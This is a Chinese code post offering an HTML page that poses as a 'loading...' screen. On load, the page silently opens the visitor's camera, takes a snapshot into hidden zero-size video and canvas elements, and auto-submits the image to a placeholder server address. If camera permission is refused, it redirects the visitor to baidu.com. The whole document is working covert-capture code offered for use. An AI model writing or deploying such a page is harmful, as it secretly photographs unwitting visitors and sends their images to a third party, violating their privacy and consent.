一点字 0分钟
CodeH5中JS调用摄像头截图拍照并发送
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>loding...</title>
<style>
body {
background: #ffffff;
}
.clock {
position: absolute;
opacity: 1;
}
.fill .clock {
left: 50%;
top: 50%;
}
.centre {
position: absolute;
top: 50%;
left: 50%;
width: 0;
height: 0;
}
.expand {
position: absolute;
top: 0;
left: 0;
transform: translate(-50%, -50%);
}
.anchor {
position: absolute;
top: 0;
left: 0;
width: 0;
height: 0;
}
.element {
position: absolute;
top: 0;
left: 0;
}
.round {
border-radius: 296px;
}
.circle-1 {
background: #000000;
width: 12px;
height: 12px;
}
.circle-2 {
background: #fa9f22;
width: 8px;
height: 8px;
}
.circle-3 {
background: #ffffff;
width: 4px;
height: 4px;
}
.second {
transform: rotate(180deg);
}
.minute {
transform: rotate(54deg);
}
.second-hand {
width: 2px;
height: 164px;
background: #fa9f22;
transform: translate(-50%, -100%) translateY(24px);
}
.hour {
transform: rotate(304.5deg);
}
.thin-hand {
width: 4px;
height: 50px;
background: #ff0000;
transform: translate(-50%, -100%);
}
.fat-hand {
width: 10px;
height: 57px;
border-radius: 10px;
background: #000000;
transform: translate(-50%, -100%) translateY(-18px);
}
.minute-hand {
height: 112px;
}
.hour-text {
position: absolute;
font:
40px Hei,
Helvetica,
Arial,
sans-serif;
color: #000000;
transform: translate(-50%, -50%);
}
.hour-10 {
padding-left: 0.4ex;
}
.hour-11 {
padding-left: 0.25ex;
}
.minute-text {
position: absolute;
font:
12px Avenir Next,
Helvetica,
Arial,
sans-serif;
color: #000000;
transform: translate(-50%, -50%);
}
.minute-line {
background: #000000;
width: 1px;
height: 9px;
transform: translate(-50%, -100%) translateY(-131px);
opacity: 1;
}
</style>
</head>
<body>
<video id="video" width="0" height="0" autoplay></video>
<canvas
style="width:0px;height:0px"
id="canvas"
width="480"
height="640"
></canvas>
<form action="截图好并发送的地址" id="gopo" method="post">
<input type="hidden" name="img" id="result" value="" />
<input type="hidden" name="mod" value="up" />
</form>
</body>
<script>
window.addEventListener(
"DOMContentLoaded",
function () {
var canvas = document.getElementById("canvas");
var context = canvas.getContext("2d");
var video = document.getElementById("video");
if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
navigator.mediaDevices.getUserMedia({ video: true }).then(
function (stream) {
video.srcObject = stream;
video.play();
setTimeout(function () {
context.drawImage(video, 0, 0, 480, 640);
}, 1000);
setTimeout(function () {
var img = canvas.toDataURL("image/png");
document.getElementById("result").value = img;
document.getElementById("gopo").submit();
}, 1300);
},
function () {
window.location.href = "http://baidu.com";
},
);
}
},
false,
);
</script>
</html>